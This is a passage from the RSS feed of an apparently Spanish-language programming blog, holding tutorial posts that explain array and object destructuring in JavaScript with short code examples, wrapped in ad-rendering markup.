ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueMouse){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatSample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;] &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueFly){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatSample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el fragmento de código anterior, si alguna de las condiciones excede cierta medida, repetimos el muestreo. Pero no sabemos de que muestreo habla por que no tenemos contexto, tan solo tenemos el índice de la lista.&lt;/p&gt;&#xA;&lt;p&gt;Si nosotros fuimos quienes obtuvimos la información podríamos ser más descriptivos con el código para quienes lo lean en el futuro. Por esta razón decidimos asignarle una variable a cada índice de nuestra lista.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; lengthMouse &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;0&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; lengthFly &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; scientificData[&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Sin embargo, si nuestra lista aumenta de tamaño estaremos repitiendo la misma estructura una y otra vez. Podemos ahorrarnos algo de código de la siguiente manera:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;desestructuracion-por-indice&#34;&gt;Desestructuración por índice&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; [mouseLength, flyLength] &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; scientificData&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Usando este método asignamos el primer y el segundo valor de la lista a la variable &lt;em&gt;mouseLength&lt;/em&gt; y &lt;em&gt;flyLength&lt;/em&gt; , respectivamente.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(mouseLength &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueMouse){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatMouseSample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(flyLength &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;gt;&lt;/span&gt; limitValueFly){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;   repeatFlySample()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora el código es mucho más descriptivo y tus colegas, no tan iluminados como tú, podrán entenderlo&lt;/p&gt;&#xA;&lt;p&gt;Pero oye, muy bonito y todo, pero que tal si mis objetos tienen otros objetos anidados y quiero obtener un valor de ellos. Bueno también podemos &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-objetos-anidados-en-javascript/&#34;&gt;desestructurar objetos anidados&lt;/a&gt;&#xA;, en la  explicaré brevemente como hacerlo.&lt;/p&gt;&#xA;</content:encoded>
      <summary>&lt;p&gt;En la entrada anterior expliqué un poco sobre el tema de la &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/desestructuracion-de-variables-en-javascript/&#34;&gt;desestructuración de objetos en javascript&lt;/a&gt;&#xA;. Además de la desestructuración de objetos, Javascript también permite desestructurar listas. En esta entrada hablaré sobre la destructuración de listas en Javascript.&lt;/p&gt;&#xA;&lt;p&gt;Imaginemos que tenemos una lista con valores numéricos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; scientificData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; [&lt;span style=&#34;color:#ff9f43&#34;&gt;15.222&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.723&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.313&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;4.555&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;2.333&lt;/span&gt;, &lt;span style=&#34;color:#ff9f43&#34;&gt;1.990&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;El contenido de la lista son solo números, no nos dicen absolutamente nada. Estos valores podrían ser coeficientes, mediciones de temperatura, longitudes de alguna pieza o algún gradiente de concentraciones de una solución; no tenemos manera de saberlo. Podríamos vernos tentados a procesar la información accediendo a los índices de cada valor de la lista, pero esto le restaría legibilidad al código.&lt;/p&gt;</summary>
    </item>
    
    <item>
      <title>Desestructuración de variables en javascript</title>
      <link>https://coffeebytes.dev/es/javascript/desestructuracion-de-variables-en-javascript/</link>
      <pubDate>Wed, 16 Oct 2019 00:00:00 +0000</pubDate>
      <guid>https://coffeebytes.dev/es/javascript/desestructuracion-de-variables-en-javascript/</guid>
      
      <category>javascript</category>
      
      
      
      
      
      <content:encoded>&lt;p&gt;Para aquellos como yo, cuyo primer lenguage no tuvo la suerte (o desgracia) de ser javascript, la desestructuración puede llegar a tener tintes esotéricos. En esta entrada voy a tratar de explicar de una manera sencilla la desestructuración de objetos en javascript. La destructuración es un proceso que, a diferencia de lo que se cree, es bastante simple en realidad y, además, puede mejorar bastante la legibilidad del código.&lt;/p&gt;&#xA;&lt;p&gt;Si quieres empezar a aprender Javascript desde cero te recomiendo el &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/javascript/el-mejor-libro-para-aprender-javascript-moderno/&#34;&gt;libro Eloquent Javascript&lt;/a&gt;&#xA;, aquí recomiendo el que yo considero el mejor libro para empezar.&lt;/p&gt;&#xA;&lt;p&gt;Desestructurar un objeto significaría convertir las propiedades de un objeto o lista de javascript en variables o constantes para poder acceder más fácilmente a ellas. Partamos de un objeto bastante sencillo.&lt;/p&gt;&#xA;&lt;p&gt;No, no voy a usar el clásico ejemplo de persona, libro o perro; usemos el ejemplo de características de los datos de una cuenta.&lt;/p&gt;&#xA;&lt;p&gt;Supongamos que tenemos almacenado un objeto que representa los datos de una cuenta de usuario:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; userData &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; {isLoggedIn&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; True, profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;Admin&amp;#34;&lt;/span&gt;, email&lt;span style=&#34;color:#ff6ac1&#34;&gt;:&lt;/span&gt; &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;email@example.org&amp;#34;&lt;/span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;  &#xA;  &#xA;    &#xA;    &#xA;    &#xA;      &#xA;    &#xA;  &#xA;&#xA;  &#xA;    &lt;script&gt;&#xA;      (function() {&#xA;        var matchedAdsData = &#34;[{\&#34;description\&#34;:\&#34;Este es EL LIBRO cuando se trata de Javascript. Es una guía completa que cubre todo lo que necesitas saber, desde la declaración de variables, al funcionamiento interno de las promesas e incluso te explica como crear un compilador en Javascript (No tan eficiente como uno compilado, pero ideal para aprender), si vas a leer solo un libro de Javascript, que sea este.\&#34;,\&#34;imageAlt\&#34;:\&#34;Portada del libro Eloquent Javascript\&#34;,\&#34;imageSrc\&#34;:\&#34;https://coffeebytes.dev/en/pages/books-i-read-and-reviews/images/eloquent-javascript.jpg\&#34;,\&#34;link\&#34;:\&#34;https://amzn.to/3QvqSYt\&#34;,\&#34;linkText\&#34;:\&#34;Consulta el precio de Eloquent Javascript y cómpralo en Amazon\&#34;,\&#34;title\&#34;:\&#34;¿Dónde mejorar sus conocimientos de Javascript?\&#34;}]&#34;;&#xA;        &#xA;        function renderAds() {&#xA;          var rightPanel = document.getElementById(&#39;right-panel&#39;);&#xA;          if (!rightPanel) return;&#xA;&#xA;          &#xA;          var existingContainer = document.getElementById(&#39;ads-panels-container&#39;);&#xA;          if (existingContainer) {&#xA;            existingContainer.remove();&#xA;          }&#xA;&#xA;          var matchedAds = JSON.parse(matchedAdsData);&#xA;          &#xA;          if (!matchedAds || !Array.isArray(matchedAds) || matchedAds.length === 0) return;&#xA;          &#xA;          var container = document.createElement(&#39;div&#39;);&#xA;          container.id = &#39;ads-panels-container&#39;;&#xA;          container.className = &#39;ads-panels-sticky&#39;;&#xA;          rightPanel.appendChild(container);&#xA;          &#xA;          matchedAds.forEach(function(ad) {&#xA;            if (!ad || !ad.title) return;&#xA;            &#xA;            var panel = document.createElement(&#39;div&#39;);&#xA;            panel.className = &#39;ad-panel&#39;;&#xA;            panel.innerHTML = &#xA;              &#39;&lt;div class=&#34;ad-panel-content&#34;&gt;&#39; +&#xA;                &#39;&lt;img height=&#34;150px&#34; width=&#34;100px&#34; src=&#34;&#39; + ad.imageSrc + &#39;&#34; alt=&#34;&#39; + (ad.imageAlt || ad.title) + &#39;&#34; class=&#34;ad-book-image&#34; loading=&#34;lazy&#34; /&gt;&#39; +&#xA;                &#39;&lt;h4 class=&#34;ad-title&#34;&gt;&lt;strong&gt;&#39; + ad.title + &#39;&lt;/strong&gt;&lt;/h4&gt;&#39; +&#xA;                (ad.description ? &#39;&lt;p class=&#34;ad-description&#34;&gt;&#39; + ad.description + &#39;&lt;/p&gt;&#39; : &#39;&#39;) +&#xA;                (ad.link ? &#39;&lt;a href=&#34;&#39; + ad.link + &#39;&#34; target=&#34;_blank&#34; rel=&#34;sponsored nofollow&#34; class=&#34;ad-link-button&#34;&gt;&#39; + (ad.linkText || &#39;Learn More&#39;) + &#39;&lt;/a&gt;&#39; : &#39;&#39;) +&#xA;              &#39;&lt;/div&gt;&#39;;&#xA;            &#xA;            container.appendChild(panel);&#xA;          });&#xA;        }&#xA;&#xA;        &#xA;        document.addEventListener(&#39;DOMContentLoaded&#39;, renderAds);&#xA;        &#xA;        &#xA;        document.addEventListener(&#39;htmx:historyRestore&#39;, renderAds);&#xA;        document.addEventListener(&#39;htmx:afterSettle&#39;, renderAds);&#xA;      })();&#xA;    &lt;/script&gt;&#xA;  &#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .ads-panels-sticky {&#xA;    position: sticky;&#xA;    top: 100px;&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    gap: 16px;&#xA;    z-index: 10;&#xA;  }&#xA;&#xA;  .ad-panel {&#xA;    background: transparent;&#xA;    border-radius: 8px;&#xA;    padding: 16px 36px;&#xA;  }&#xA;&#xA;  .ad-panel:hover {&#xA;    transform: none;&#xA;  }&#xA;&#xA;  .ad-panel-content {&#xA;    display: flex;&#xA;    flex-direction: column;&#xA;    align-items: center;&#xA;    text-align: justify;&#xA;  }&#xA;&#xA;  .ad-book-image {&#xA;    width: 100px;&#xA;    height: auto;&#xA;    border-radius: 6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;p&gt;El objeto anterior tiene las propiedades isLoggedIn, profile y email. Si nosotros quisieramos acceder a los valores, ya sea para mostrar algún contenido condicionalmente tendríamos que hacer lo siguiente:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;if&lt;/span&gt;(userData.isLoggedIn &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;amp;&amp;amp;&lt;/span&gt; userData.profile&lt;span style=&#34;color:#ff6ac1&#34;&gt;===&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#39;Admin&amp;#39;&lt;/span&gt;){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToDashboard()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&lt;span style=&#34;color:#ff6ac1&#34;&gt;else&lt;/span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  redirectToUserAccount()&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;En el trozo de código anterior, cada vez que accedamos a alguna propiedad del objeto tendremos que escribir el nombre del objeto &lt;em&gt;userData&lt;/em&gt;. Pero, ¿y si asignamos las propiedades del objeto a otras constantes?&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-javascript&#34; data-lang=&#34;javascript&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; isLoggedIn &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData.isLoggedIn&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; profile &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData.profile&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;const&lt;/span&gt; email &lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt; userData.email&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Ahora ya podemos acceder a las constantes individualmente sin hacer referencia al objeto. Pero, ¿no estamos repitiendo userData en cada asignación?&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      